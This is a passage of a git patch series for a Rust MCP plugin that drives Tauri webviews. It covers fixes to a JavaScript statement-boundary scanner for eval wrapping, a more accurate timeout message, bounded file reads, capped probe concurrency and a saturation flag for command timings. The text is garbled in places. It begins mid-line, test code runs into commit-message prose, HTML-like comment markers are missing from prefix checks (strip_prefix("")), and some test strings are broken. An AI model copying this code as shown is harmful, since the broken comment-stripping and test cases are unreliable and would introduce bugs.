(function() {{ {code} }})(); \ + console.log('OUT:' + r[0].body.isWellFormed() + ':' + r[0].body.indexOf('bytes truncated'));" + ); + let Some(out) = run_node(&script) else { + eprintln!("SKIP: node not installed"); + return; + }; + let line = out + .lines() + .find_map(|l| l.strip_prefix("OUT:")) + .unwrap_or_else(|| panic!("no output: {out}")); + let (well_formed, marker_at) = line.split_once(':').unwrap(); + assert_eq!( + well_formed, "true", + "truncated field is not well-formed UTF-16" + ); + assert_ne!(marker_at, "-1", "field was not truncated"); + } + + /// Multi-statement snippets from the 0.9 red-team round (audit V-6): each must run every + /// statement. `f()` pushes `'f'` onto the log. + const ASI_ROUND2_STATEMENT_CASES: &[&str] = &[ + "i++ / 2; f()", + "x = {} / 1; f()", + "i++\n[f()]", + "i++\n(f)()", + "i--\n[f()]", + "i--\n(f)()", + "obj.of\nf()", + "obj.in\nf()", + "if\t(true) f()", + "if\n(true) f()", + "const\ny = 5; f()", + "outer: for (const a of [1]) { f() }", + "outer:\nfor (const a of [1]) { f() }", + "`a${'`'}b`; f()", + "`${'`'}`\nf()", + "f() it's a comment\nf()", + "a = /[/]/\nf()", + "typeof x / 2; f()", + ]; + + /// Run each `(code, expected_return, expected_log)` through the REAL eval wrapper shape + /// (the code inlined in an async arrow, prepended with `return` exactly when + /// [`should_prepend_return`] says so) in Node, and check every statement ran and the + /// right value came back. Skips when `node` is not installed. + #[test] + fn prepend_return_decisions_run_every_statement_in_node() { + let mut cases: Vec<(&str, &str, Vec<&str>)> = ASI_ROUND2_STATEMENT_CASES + .iter() + .map(|c| { + let n = c.matches("f()").count() + c.matches("(f)()").count(); + (*c, "undefined", vec!["f"; n]) + }) + .collect(); + cases.extend([ + ("obj.return", "\"RET\"", vec![]), + ("obj.of", "\"OF\"", vec![]), + ("obj.in\n.length", "2", vec![]), + ("i++ / 2", "0.5", vec![]), + ("`a${'`'}b`", "\"a`b\"", vec![]), + ("f() lines now) and regex literal skipping; (c) a numeric literal ending in '.' at end of line ('1.\nf()') - a complete operand, told apart from member access (a1. / x. / 0x1. / 1e3. / 1.5.); any doubt resolves to not prepending; (d) 'yield' (an identifier inside the async-arrow wrapper) and 'of' at depth 0 (a keyword only in a for-of head) were treated as operators. Differential check (node, 35,459 generated snippets, run as-is vs with 'return' prepended whenever the scanner says so): 10,793 divergent before, 0 after. Table tests pin every shape; the node run-every-statement test now includes the round-4 cases. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_018pb3JpJchvYeFMN32yBJmr --- crates/victauri-plugin/src/mcp/mod.rs | 221 ++++++++++++++++++++++---- 1 file changed, 189 insertions(+), 32 deletions(-) diff --git a/crates/victauri-plugin/src/mcp/mod.rs b/crates/victauri-plugin/src/mcp/mod.rs index 2d7c5ca0..d84938dc 100644 --- a/crates/victauri-plugin/src/mcp/mod.rs +++ b/crates/victauri-plugin/src/mcp/mod.rs @@ -5656,12 +5656,44 @@ const ASI_CONTINUES_AFTER: &[u8] = b"+-*/%&|^!=<>?:,.([{~"; /// `[` and a template literal, which JavaScript itself treats as a continuation. const ASI_CONTINUES_BEFORE: &[u8] = b".?)]}+-*/%&|^=<>,:([`"; -/// Strip leading whitespace and `//` / `/* */` comments. +/// Length of the JavaScript line terminator at byte `i` — LF, CR, CRLF (2), or U+2028 / +/// U+2029 (3) — or 0 when there is none there. +fn line_terminator_len(bytes: &[u8], i: usize) -> usize { + match bytes.get(i) { + Some(b'\n') => 1, + Some(b'\r') => 1 + usize::from(bytes.get(i + 1) == Some(&b'\n')), + Some(0xE2) + if bytes.get(i + 1) == Some(&0x80) && matches!(bytes.get(i + 2), Some(0xA8 | 0xA9)) => + { + 3 + } + _ => 0, + } +} + +/// Index of the first line terminator at or after byte `from`, if any. +fn find_line_terminator(bytes: &[u8], from: usize) -> Option { + (from..bytes.len()).find(|&i| line_terminator_len(bytes, i) > 0) +} + +/// `code` after the rest of its current line (and that line's terminator); `""` if none. +fn after_line(code: &str) -> &str { + let bytes = code.as_bytes(); + find_line_terminator(bytes, 0).map_or("", |n| &code[n + line_terminator_len(bytes, n)..]) +} + +/// Strip leading whitespace and comments: `//`, `/* */`, and the HTML-like `` +/// line comments (the code starts a line). Every JavaScript line terminator ends a line +/// comment — CR and U+2028/U+2029 as well as LF. fn strip_leading_js_comments(mut code: &str) -> &str { loop { code = code.trim_start(); - if let Some(rest) = code.strip_prefix("//") { - code = rest.find('\n').map_or("", |n| &rest[n + 1..]); + if let Some(rest) = code + .strip_prefix("//") + .or_else(|| code.strip_prefix("")) + { + code = after_line(rest); } else if let Some(rest) = code.strip_prefix("/*") { code = rest.find("*/").map_or("", |n| &rest[n + 2..]); } else { @@ -5725,12 +5757,10 @@ fn should_prepend_return(code: &str) -> bool { while i < bytes.len() { let c = bytes[i]; - // U+2028 / U+2029 are JavaScript line terminators too. - let line_sep = c == 0xE2 - && bytes.get(i + 1) == Some(&0x80) - && matches!(bytes.get(i + 2), Some(&0xA8 | &0xA9)); - if state == Code && (c == b'\n' || line_sep) { - let next_start = if line_sep { i + 3 } else { i + 1 }; + // LF, CR, CRLF and U+2028 / U+2029 are all JavaScript line terminators. + let terminator = line_terminator_len(bytes, i); + if state == Code && terminator > 0 { + let next_start = i + terminator; if depth <= 0 && asi_ends_statement(code, next_start, last_sig, prev_sig, last_sig_idx) { return false; @@ -5742,13 +5772,12 @@ fn should_prepend_return(code: &str) -> bool { match state { Code => { // HTML-like comments (Script goal): `` at the start of - // a line, comment out the rest of the line. - if bytes[i..].starts_with(b"")) - { - while i < bytes.len() && bytes[i] != b'\n' { - i += 1; - } + || bytes[i..].starts_with(b"//"); + if line_comment { + i = find_line_terminator(bytes, i).unwrap_or(bytes.len()); continue; } if !c.is_ascii_whitespace() { @@ -5758,24 +5787,28 @@ fn should_prepend_return(code: &str) -> bool { b'\'' => state = SingleQuote, b'"' => state = DoubleQuote, b'`' => state = Template, - b'/' if bytes.get(i + 1) == Some(&b'/') => { - while i < bytes.len() && bytes[i] != b'\n' { - i += 1; - } - continue; - } b'/' if bytes.get(i + 1) == Some(&b'*') => { - i += 2; - while i + 1 < bytes.len() && !(bytes[i] == b'*' && bytes[i + 1] == b'/') { - i += 1; + let body_start = i + 2; + let end = code[body_start..] + .find("*/") + .map_or(bytes.len(), |n| body_start + n); + i = (end + 2).min(bytes.len()); + // A block comment spanning a line break IS a line break for ASI: + // `a = 1 /*\n*/ b = 2` is two statements. + if find_line_terminator(&bytes[..end], body_start).is_some() { + if depth <= 0 + && asi_ends_statement(code, i, last_sig, prev_sig, last_sig_idx) + { + return false; + } + at_line_start = true; } - i += 2; continue; } // After `}` a `/` is division if the brace closed an object literal, and a // regex if it closed a block — undecidable here, so run the code as-is. b'/' if last_sig == Some(b'}') => return false, - b'/' if slash_starts_regex(code, last_sig, prev_sig, last_sig_idx) => { + b'/' if slash_starts_regex(code, last_sig, prev_sig, last_sig_idx, depth) => { // A regex literal: skip it whole (a quote or newline-like character // inside it must not be read as code), then its flags. i = skip_regex_literal(bytes, i); @@ -5862,6 +5895,10 @@ fn js_keyword_ending_at(code: &str, end: usize) -> &str { } /// Keywords after which an expression (not a statement end) must follow. +/// +/// NOT listed: `yield`, which is a plain identifier inside the async-arrow wrapper eval code +/// runs in (it is a keyword only in generators and strict code), and `of`, which is a keyword +/// only inside a `for (… of …)` head — see [`is_expr_keyword`]. const EXPR_KEYWORDS: &[&str] = &[ "instanceof", "in", @@ -5870,15 +5907,37 @@ const EXPR_KEYWORDS: &[&str] = &[ "delete", "new", "await", - "yield", "return", "case", "do", "else", - "of", "throw", ]; +/// Whether `word`, found at bracket depth `depth`, is a keyword after which an operand must +/// follow. `of` is one only inside brackets (a `for (x of …)` head); at depth 0 it is an +/// identifier (`of` then a new line then `foo()` is two statements). +fn is_expr_keyword(word: &str, depth: i32) -> bool { + (word == "of" && depth > 0) || EXPR_KEYWORDS.contains(&word) +} + +/// Is the `.` at byte `dot` the end of a numeric literal (`1.`) — a complete operand — rather +/// than a member access? Only a plain decimal integer (digits and `_`, not itself after a `.`) +/// qualifies: `a1.`, `x.`, `0x1.`, `1e3.`, `1n.` and `1.5.` are member accesses. A misread +/// only matters in one direction: reading a member access as a complete number merely skips +/// the `return` prepend, which is always safe. +fn dot_completes_number(code: &str, dot: usize) -> bool { + let bytes = code.as_bytes(); + let mut start = dot; + while start > 0 && is_js_ident(bytes[start - 1]) { + start -= 1; + } + let word = &bytes[start..dot]; + word.first().is_some_and(u8::is_ascii_digit) + && word.iter().all(|b| b.is_ascii_digit() || *b == b'_') + && !(start > 0 && bytes[start - 1] == b'.') +} + /// A line (or operand) ending in POSTFIX `++`/`--`. fn ends_in_postfix(last_sig: Option, prev_sig: Option) -> bool { matches!( @@ -5910,8 +5969,12 @@ fn asi_ends_statement( if ends_in_postfix(last_sig, prev_sig) { return true; } - let continues_after = last_sig.is_some_and(|p| ASI_CONTINUES_AFTER.contains(&p)) - || EXPR_KEYWORDS.contains(&js_keyword_ending_at(code, last_sig_idx)); + // A line ending in `1.` ends in a complete number, not a member access: `1.` then a new + // line then `f()` is two statements. + let number_dot = last_sig == Some(b'.') && dot_completes_number(code, last_sig_idx); + let continues_after = (!number_dot + && last_sig.is_some_and(|p| ASI_CONTINUES_AFTER.contains(&p))) + || is_expr_keyword(js_keyword_ending_at(code, last_sig_idx), 0); !(continues_after || ASI_CONTINUES_BEFORE.contains(&next)) } @@ -5924,6 +5987,7 @@ fn slash_starts_regex( last_sig: Option, prev_sig: Option, last_sig_idx: usize, + depth: i32, ) -> bool { if ends_in_postfix(last_sig, prev_sig) { return false; @@ -5932,7 +5996,7 @@ fn slash_starts_regex( None => true, Some(b) if b"(,=:[!&|?{};+-*%<>~^".contains(&b) => true, Some(b) if is_js_ident(b) => { - EXPR_KEYWORDS.contains(&js_keyword_ending_at(code, last_sig_idx)) + is_expr_keyword(js_keyword_ending_at(code, last_sig_idx), depth) } Some(_) => false, } @@ -5948,7 +6012,8 @@ fn skip_regex_literal(bytes: &[u8], start: usize) -> usize { b'[' => in_class = true, b']' => in_class = false, b'/' if !in_class => break, - b'\n' => return i, // unterminated: let the newline be scanned normally + // Unterminated at a line terminator (any of them): let it be scanned normally. + _ if line_terminator_len(bytes, i) > 0 => return i, _ => {} } i += 1; @@ -6350,6 +6415,92 @@ mod tests { "typeof x / 2; f()", ]; + /// Multi-statement snippets from the 0.9 round-4 audit (R4-EVAL2): each was wrapped with + /// `return` and silently lost everything after its first statement. + const ASI_ROUND4_STATEMENT_CASES: &[&str] = &[ + // (a) a block comment spanning a line break is a line break + "x = 1 /*\n*/ f()", + "x = 1 /*\r*/ f()", + "x = 1 /*\u{2028}*/ f()", + "x = 1 /* a\n b */ f()", + // (b) a lone CR (and CRLF) is a line terminator everywhere + "x = 1\rf()", + "x = 1\r\nf()", + "x = 1 // note\rf()", + "x = 1 // note\u{2028}f()", + "f() c\rf()", + "x = /a/g\rf()", + // (c) a number ending in `.` is a complete operand + "x = 1.\nf()", + "x = 1_0.\rf()", + "x = 10.\n\nf()", + // (d) `yield` is an identifier in the eval wrapper; `of` is one at depth 0 + "x = typeof yield\nf()", + "x = typeof of\nf()", + ]; + + /// Table for R4-EVAL2: `(code, wrap?)` — every shape the fix touches, both ways. + #[test] + fn prepend_return_round4_shapes() { + for code in ASI_ROUND4_STATEMENT_CASES { + assert!(!should_prepend_return(code), "must not wrap: {code:?}"); + } + for code in [ + "x /* no line break */ + 1", + "x /*\n*/ + 1", + "x +\r1", + "x\r.toString()", + "a instanceof\r\nB", + "1.5\n.toFixed(1)", + "obj.of.\nlength", + "0x10.\ntoString()", + "1e3.\ntoFixed(0)", + "(1).\ntoFixed(0)", + "document.title // trailing note\r", + "-->x\ndocument.title", + "x\ndocument", "\"doc\"", vec![]), ]); let bodies: Vec = cases .iter() From 4ef77583bd5c0e401ab2fa45a3fe563d6930d7a2 Mon Sep 17 00:00:00 2001 From: antony Date: Mon, 28 Sep 2026 20:14:15 +1000 Subject: [PATCH 068/167] fix(eval): the timeout message rules out a parse error only when the check ran (B-L5) An eval timeout always said "(A syntax/parse error is reported immediately, so this is NOT a parse error.)" - also when the fast parse check was never armed (the probe reported no page nonce) or its script could not be delivered. The claim is now made only when the check was armed and delivered; otherwise the message says a parse error could not be ruled out. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_018pb3JpJchvYeFMN32yBJmr --- crates/victauri-plugin/src/mcp/mod.rs | 104 +++++++++++++++++++++++--- 1 file changed, 94 insertions(+), 10 deletions(-) diff --git a/crates/victauri-plugin/src/mcp/mod.rs b/crates/victauri-plugin/src/mcp/mod.rs index d84938dc..6a72f880 100644 --- a/crates/victauri-plugin/src/mcp/mod.rs +++ b/crates/victauri-plugin/src/mcp/mod.rs @@ -4986,10 +4986,16 @@ impl VictauriMcpHandler { Some(target.as_str()) }; let check = crate::js_bridge::eval_check_script(&id, armed_nonce.as_deref()); - if let Err(e) = self.bridge.eval_webview(deliver_to, &check) { - // Only the fast parse-error report is lost; the code itself was delivered. - tracing::debug!("eval parse check not delivered: {e}"); - } + // The check only runs when the page reported a nonce (see `eval_check_script`) and the + // script reached it; only then can a timeout rule out a parse error. + let parse_check_armed = match self.bridge.eval_webview(deliver_to, &check) { + Ok(()) => armed_nonce.is_some(), + Err(e) => { + // Only the fast parse-error report is lost; the code itself was delivered. + tracing::debug!("eval parse check not delivered: {e}"); + false + } + }; // While waiting, watch for the ways a call ends with NO callback ever coming: the // target window was destroyed, it loaded a new page, or the app began shutting down. @@ -5100,15 +5106,27 @@ impl VictauriMcpHandler { // if the bridge is gone (reloaded/crashed) the next call fails in // ~2s instead of blocking the full timeout again. self.timed_out_labels.lock().await.insert(label_key.clone()); + let (began, parse_note) = if parse_check_armed { + ( + "the code began executing but never resolved", + "(A syntax/parse error is reported immediately, so this is NOT a parse \ + error.) Common causes", + ) + } else { + ( + "no result arrived", + "(The fast syntax-error check could not run for this call, so a parse \ + error could not be ruled out — check the code's syntax.) Other causes", + ) + }; Err(EvalFailure::new( Aborted, format!( - "eval timed out after {} — the code began executing but never resolved. \ - (A syntax/parse error is reported immediately, so this is NOT a parse \ - error.) Common causes: an unresolved promise, an infinite loop, an \ - `await` on something that never settles, or the webview reloaded / the \ - app stopped responding mid-eval. If the app may have navigated or \ - crashed, retry (the next call fails fast if the bridge is gone).", + "eval timed out after {} — {began}. {parse_note}: an unresolved \ + promise, an infinite loop, an `await` on something that never settles, \ + or the webview reloaded / the app stopped responding mid-eval. If the \ + app may have navigated or crashed, retry (the next call fails fast if \ + the bridge is gone).", format_timeout(timeout) ), )) @@ -8273,6 +8291,72 @@ mod command_policy_dispatch_tests { assert!(text.contains("timed out"), "{text}"); } + /// B-L5: the timeout message rules out a parse error only when the fast parse check was + /// actually armed (the page reported a nonce) and delivered; otherwise it cannot know. + #[tokio::test] + async fn a_timeout_claims_no_parse_error_only_when_the_parse_check_ran() { + let state = eval_state_with_timeout(300); + // No nonce from the probe: the parse check is disabled. + let h = VictauriMcpHandler::new( + state.clone(), + Arc::new(RecordingBridge::answering(state.pending_evals.clone())), + ); + let (text, _) = hanging_eval(&h).await; + assert!(text.contains("timed out"), "{text}"); + assert!(!text.contains("NOT a parse"), "unfounded claim: {text}"); + assert!(text.contains("could not be ruled out"), "{text}"); + // Armed and delivered: the claim holds. + let h = VictauriMcpHandler::new( + state.clone(), + Arc::new(RecordingBridge::in_page(state.pending_evals.clone(), "p1")), + ); + let (text, _) = hanging_eval(&h).await; + assert!(text.contains("NOT a parse error"), "{text}"); + // Armed but the check could not be delivered. + let h = VictauriMcpHandler::new( + state.clone(), + Arc::new(CheckNotDeliveredBridge(RecordingBridge::in_page( + state.pending_evals.clone(), + "p1", + ))), + ); + let (text, _) = hanging_eval(&h).await; + assert!(!text.contains("NOT a parse"), "unfounded claim: {text}"); + } + + /// Delivers everything but the eval's parse-check script. + struct CheckNotDeliveredBridge(RecordingBridge); + + impl WebviewBridge for CheckNotDeliveredBridge { + fn eval_webview(&self, label: Option<&str>, script: &str) -> Result<(), String> { + if script.contains("_evalCheck") { + return Err("window busy".to_string()); + } + self.0.eval_webview(label, script) + } + fn get_window_states(&self, label: Option<&str>) -> Vec { + self.0.get_window_states(label) + } + fn list_window_labels(&self) -> Vec { + vec!["main".to_string()] + } + fn get_native_handle(&self, label: Option<&str>) -> Result { + self.0.get_native_handle(label) + } + fn manage_window(&self, label: Option<&str>, action: &str) -> Result { + self.0.manage_window(label, action) + } + fn resize_window(&self, label: Option<&str>, w: u32, h: u32) -> Result<(), String> { + self.0.resize_window(label, w, h) + } + fn move_window(&self, label: Option<&str>, x: i32, y: i32) -> Result<(), String> { + self.0.move_window(label, x, y) + } + fn set_window_title(&self, label: Option<&str>, title: &str) -> Result<(), String> { + self.0.set_window_title(label, title) + } + } + /// A page that answers WITHOUT the armed nonce (the bridge that armed the eval is gone) /// is positive evidence of a new page. #[tokio::test] From 83254e928ab9daaf8885a755fc5513fce1debc6d Mon Sep 17 00:00:00 2001 From: antony Date: Mon, 28 Sep 2026 20:17:56 +1000 Subject: [PATCH 069/167] fix(backend): bound read_app_file and cap concurrent app probes (R4-BLK1) read_app_file ran its read via spawn_blocking(...).await with no deadline: a FIFO or device swapped in after the checks blocked the call (and its global concurrency slot) forever. The read now runs under a 15 s deadline and a 4-slot cap whose permit is held by the reading thread, and the OPENED file's metadata must be a regular file. app_state probes ran via run_blocking_bounded(None, ...): each call to a hung probe leaked one blocking thread. Probe executions are now capped at 4 concurrent (the permit is held by the probe's thread, so a probe that outlives its timeout still counts); a call beyond the cap is refused at once with a "busy" error. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_018pb3JpJchvYeFMN32yBJmr --- crates/victauri-plugin/src/mcp/mod.rs | 120 +++++++++++++----- .../src/mcp/robustness_tests.rs | 106 ++++++++++++++++ 2 files changed, 196 insertions(+), 30 deletions(-) diff --git a/crates/victauri-plugin/src/mcp/mod.rs b/crates/victauri-plugin/src/mcp/mod.rs index 6a72f880..9f6c4288 100644 --- a/crates/victauri-plugin/src/mcp/mod.rs +++ b/crates/victauri-plugin/src/mcp/mod.rs @@ -255,6 +255,21 @@ const PROBE_TIMEOUT: std::time::Duration = if cfg!(test) { std::time::Duration::from_secs(10) }; +/// App-registered probes allowed to run at once. A probe that hangs keeps its blocking thread +/// past [`PROBE_TIMEOUT`]; the cap stops repeated calls to it from leaking a thread each. +pub(crate) const MAX_CONCURRENT_PROBES: usize = 4; + +/// `read_app_file` reads allowed to run at once (a read blocked on a FIFO or slow device keeps +/// its thread past [`READ_APP_FILE_TIMEOUT`]). +pub(crate) const MAX_CONCURRENT_FILE_READS: usize = 4; + +/// How long `read_app_file` waits for its (bounded, at most 10 MB) read (shortened under test). +const READ_APP_FILE_TIMEOUT: std::time::Duration = if cfg!(test) { + std::time::Duration::from_secs(1) +} else { + std::time::Duration::from_secs(15) +}; + /// Upper bound for an injected `fault` delay (matches the `wait_for` ceiling). const MAX_FAULT_DELAY_MS: u64 = 120_000; /// How often a slow eval re-checks that its target window still exists (first check after @@ -369,6 +384,10 @@ pub struct VictauriMcpHandler { /// Window keys whose previous eval timed out. Retained only to annotate the /// error on the *next* eval (the bridge is probed before every eval anyway). timed_out_labels: Arc>>, + /// Slots for running app probes ([`MAX_CONCURRENT_PROBES`]); held by the probe's thread. + probe_slots: Arc, + /// Slots for `read_app_file` reads ([`MAX_CONCURRENT_FILE_READS`]); held by the read's thread. + file_slots: Arc, } #[tool_router] @@ -1076,12 +1095,24 @@ impl VictauriMcpHandler { }; if let Some(probe) = self.state.probes.get(&name) { // A probe is app code: run it off the async executor, bounded, and with a panic - // boundary (it used to run inline on a tokio worker with neither). + // boundary (it used to run inline on a tokio worker with neither). Its slot is + // held by the probe's thread, so a hung probe that outlives the deadline still + // counts against the cap and repeated calls cannot pile up leaked threads. + let Ok(slot) = Arc::clone(&self.probe_slots).try_acquire_owned() else { + return tool_error(format!( + "probe '{name}' not run: app probes are busy ({MAX_CONCURRENT_PROBES} \ + still running — a probe that hangs keeps running past its timeout). \ + Retry shortly." + )); + }; match bounded::run_blocking_bounded( None, &format!("probe '{name}'"), PROBE_TIMEOUT, - move || Ok(probe()), + move || { + let _slot = slot; + Ok(probe()) + }, ) .await { @@ -1425,34 +1456,11 @@ impl VictauriMcpHandler { Ok(c) => c, Err(e) => return tool_error(format!("cannot resolve path: {e}")), }; - #[allow(clippy::cast_possible_truncation)] - let read = tokio::task::spawn_blocking( - move || -> Result<(Vec, usize, Option), String> { - use std::io::Read; - let metadata = std::fs::metadata(&canonical).ok(); - let size = metadata.as_ref().map(|m| m.len() as usize); - let modified = metadata.as_ref().and_then(|m| m.modified().ok()).map(|t| { - t.duration_since(std::time::SystemTime::UNIX_EPOCH) - .unwrap_or_default() - .as_secs() - }); - // Bounded read (audit B7): pull at most max_bytes+1 instead of slurping the - // whole file. The +1 detects truncation; the reported size comes from metadata. - let f = std::fs::File::open(&canonical).map_err(|e| e.to_string())?; - let mut buf = Vec::new(); - f.take(max_bytes as u64 + 1) - .read_to_end(&mut buf) - .map_err(|e| e.to_string())?; - let reported = size.unwrap_or(buf.len()); - Ok((buf, reported, modified)) - }, - ) - .await; - let (mut bytes, original_size, modified) = match read { - Ok(Ok(v)) => v, - Ok(Err(e)) => return tool_error(format!("failed to read file: {e}")), - Err(e) => return tool_error(format!("file read task failed: {e}")), - }; + let (mut bytes, original_size, modified) = + match self.read_regular_file_bounded(canonical, max_bytes).await { + Ok(v) => v, + Err(e) => return tool_error(format!("failed to read file: {e}")), + }; let truncated = bytes.len() > max_bytes; if truncated { bytes.truncate(max_bytes); @@ -4167,6 +4175,8 @@ impl VictauriMcpHandler { subscriptions: Arc::new(Mutex::new(HashSet::new())), bridge_checked: Arc::new(AtomicBool::new(false)), timed_out_labels: Arc::new(Mutex::new(HashSet::new())), + probe_slots: Arc::new(tokio::sync::Semaphore::new(MAX_CONCURRENT_PROBES)), + file_slots: Arc::new(tokio::sync::Semaphore::new(MAX_CONCURRENT_FILE_READS)), } } @@ -4380,6 +4390,29 @@ impl VictauriMcpHandler { result } + /// Read at most `max_bytes` (+1, to detect truncation) of the regular file at `path` on + /// the blocking pool, within [`READ_APP_FILE_TIMEOUT`] and one of the + /// [`MAX_CONCURRENT_FILE_READS`] slots. A read that blocks (a FIFO or device swapped in + /// after the handler's checks) returns at the deadline; its thread keeps the slot until + /// it finishes, so such reads cannot pile up. + async fn read_regular_file_bounded( + &self, + path: std::path::PathBuf, + max_bytes: usize, + ) -> Result<(Vec, usize, Option), String> { + let Ok(slot) = Arc::clone(&self.file_slots).try_acquire_owned() else { + return Err(format!( + "file reads are busy ({MAX_CONCURRENT_FILE_READS} still running — a read \ + blocked on a pipe or device keeps running past its timeout). Retry shortly." + )); + }; + bounded::run_blocking_bounded(None, "file read", READ_APP_FILE_TIMEOUT, move || { + let _slot = slot; + read_regular_file(&path, max_bytes) + }) + .await + } + fn resolve_app_dir(&self, dir: Option) -> Result { match dir.unwrap_or(AppDir::Data) { AppDir::Data => self.bridge.app_data_dir(), @@ -5652,6 +5685,33 @@ fn starts_with_statement(code: &str) -> bool { && code[ident_len..].trim_start().starts_with(':') } +/// Blocking: open `path`, refuse it unless the OPENED file is a regular file (the handler's +/// earlier checks ran on the path, which can be swapped for a FIFO or device before the open), +/// then read at most `max_bytes + 1` bytes (audit B7: never the whole file; the `+1` detects +/// truncation). Returns the bytes, the file's size and its modification time (Unix seconds). +pub(crate) fn read_regular_file( + path: &std::path::Path, + max_bytes: usize, +) -> Result<(Vec, usize, Option), String> { + use std::io::Read; + let f = std::fs::File::open(path).map_err(|e| e.to_string())?; + let metadata = f.metadata().map_err(|e| e.to_string())?; + if !metadata.is_file() { + return Err("not a regular file".to_string()); + } + let modified = metadata.modified().ok().map(|t| { + t.duration_since(std::time::SystemTime::UNIX_EPOCH) + .unwrap_or_default() + .as_secs() + }); + let mut buf = Vec::new(); + f.take(max_bytes as u64 + 1) + .read_to_end(&mut buf) + .map_err(|e| e.to_string())?; + let size = usize::try_from(metadata.len()).unwrap_or(usize::MAX); + Ok((buf, size, modified)) +} + /// Resolve `.` and `..` components without touching the filesystem. #[cfg(feature = "sqlite")] fn lexically_normalize(path: &std::path::Path) -> std::path::PathBuf { diff --git a/crates/victauri-plugin/src/mcp/robustness_tests.rs b/crates/victauri-plugin/src/mcp/robustness_tests.rs index 96974a46..9bb97b43 100644 --- a/crates/victauri-plugin/src/mcp/robustness_tests.rs +++ b/crates/victauri-plugin/src/mcp/robustness_tests.rs @@ -560,6 +560,112 @@ async fn app_state_probes_are_bounded_and_panic_isolated() { assert_eq!(r["depth"], 3); } +/// R4-BLK1: a hung probe leaves its blocking thread running past the deadline, so repeated +/// calls to it used to pile up one leaked thread each. Probe executions are capped: once every +/// slot is held by a still-running probe, a call is refused at once instead of leaking another. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn hung_probes_cannot_pile_up_blocking_threads() { + let state = VictauriState::for_tests(); + state.probes.register( + "stuck", + Arc::new(|| { + std::thread::sleep(Duration::from_secs(3)); + serde_json::json!({"late": true}) + }), + ); + let h = Arc::new(handler_with(TestBridge::default(), state)); + let calls: Vec<_> = (0..super::MAX_CONCURRENT_PROBES + 2) + .map(|_| { + let h = Arc::clone(&h); + tokio::spawn(async move { + let started = Instant::now(); + let r = call(&h, "app_state", serde_json::json!({"probe": "stuck"})).await; + (text(&r), started.elapsed()) + }) + }) + .collect(); + let mut busy = 0; + for c in calls { + let (t, took) = c.await.unwrap(); + if t.contains("busy") { + busy += 1; + assert!( + took < Duration::from_millis(500), + "a refusal must be immediate: {took:?}" + ); + } else { + assert!(t.contains("did not finish"), "{t}"); + } + } + assert_eq!(busy, 2, "calls beyond the cap must be refused"); +} + +/// R4-BLK1: `read_app_file` reads under a deadline and a small concurrency cap, so a read that +/// blocks (a FIFO or device swapped in after the checks) cannot hang the call or pile up threads. +#[tokio::test] +async fn read_app_file_is_refused_while_every_read_slot_is_held() { + let root = tempfile::tempdir().unwrap(); + std::fs::write(root.path().join("notes.txt"), "hello").unwrap(); + let h = handler(TestBridge { + data: Some(root.path().to_path_buf()), + ..TestBridge::default() + }); + let held: Vec<_> = (0..super::MAX_CONCURRENT_FILE_READS) + .map(|_| Arc::clone(&h.file_slots).try_acquire_owned().unwrap()) + .collect(); + let r = call( + &h, + "read_app_file", + serde_json::json!({"path": "notes.txt"}), + ) + .await; + assert!(text(&r).contains("busy"), "{}", text(&r)); + drop(held); + let r = json( + &call( + &h, + "read_app_file", + serde_json::json!({"path": "notes.txt"}), + ) + .await, + ); + assert_eq!(r["content"], "hello"); +} + +/// A read that blocks (here: a FIFO with no writer, which `open` waits on) returns at the +/// deadline instead of hanging the call. +#[cfg(unix)] +#[tokio::test] +async fn a_blocking_file_read_returns_at_its_deadline() { + let root = tempfile::tempdir().unwrap(); + let fifo = root.path().join("pipe"); + let made = std::process::Command::new("mkfifo").arg(&fifo).status(); + if !made.is_ok_and(|s| s.success()) { + eprintln!("SKIP: mkfifo unavailable"); + return; + } + let h = handler(TestBridge::default()); + let started = Instant::now(); + let r = tokio::time::timeout( + Duration::from_secs(20), + h.read_regular_file_bounded(fifo, 16), + ) + .await + .expect("a blocked read must return at its own deadline"); + let err = r.expect_err("a FIFO read cannot succeed"); + assert!(err.contains("did not finish"), "{err}"); + assert!(started.elapsed() < Duration::from_secs(10)); +} + +/// The OPENED file is checked: a directory (or FIFO/device) swapped in is refused. +#[cfg(unix)] +#[test] +fn a_non_regular_file_is_refused_after_open() { + let root = tempfile::tempdir().unwrap(); + let err = super::read_regular_file(root.path(), 16).expect_err("a directory is not a file"); + assert!(err.contains("not a regular file"), "{err}"); +} + /// A refused query is refused for what it is, before any database is looked up. Seen live on /// Windows: the demo app has no application database, so a DELETE came back as "only `WebView` /// internal databases were found" instead of "read-only" (the adversarial E2E suite, which CI From 9960159322afaf60d0312b470978ba37080f5da4 Mon Sep 17 00:00:00 2001 From: antony Date: Mon, 28 Sep 2026 22:29:31 +1000 Subject: [PATCH 070/167] fix(introspect): command_timings reports when its command cap is hit (B-L8) The timings store tracks at most 1024 distinct command names and silently drops new ones, so a missing command looked like one that never ran. introspect command_timings now carries an additive saturated: true|false. The cap is mirrored as COMMAND_TIMINGS_CAP (introspection.rs's constant is private); a test pins the mirror to the store's actual behaviour. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_018pb3JpJchvYeFMN32yBJmr --- crates/victauri-plugin/src/mcp/mod.rs | 8 ++++ .../src/mcp/robustness_tests.rs | 37 +++++++++++++++++++ 2 files changed, 45 insertions(+) diff --git a/crates/victauri-plugin/src/mcp/mod.rs b/crates/victauri-plugin/src/mcp/mod.rs index 9f6c4288..7979d248 100644 --- a/crates/victauri-plugin/src/mcp/mod.rs +++ b/crates/victauri-plugin/src/mcp/mod.rs @@ -270,6 +270,11 @@ const READ_APP_FILE_TIMEOUT: std::time::Duration = if cfg!(test) { std::time::Duration::from_secs(15) }; +/// Distinct command names `CommandTimings` tracks (its private `MAX_TIMED_COMMANDS`, mirrored +/// here — a test pins the two together). Once that many are tracked, new names are dropped and +/// `introspect command_timings` reports `saturated: true`. +pub(crate) const COMMAND_TIMINGS_CAP: usize = 1024; + /// Upper bound for an injected `fault` delay (matches the `wait_for` ceiling). const MAX_FAULT_DELAY_MS: u64 = 120_000; /// How often a slow eval re-checks that its target window still exists (first check after @@ -3290,6 +3295,9 @@ impl VictauriMcpHandler { let result = serde_json::json!({ "commands": stats, "total_commands_profiled": driven_count, + // The store stops tracking NEW command names at its cap; say so rather + // than let a missing command look like one that never ran. + 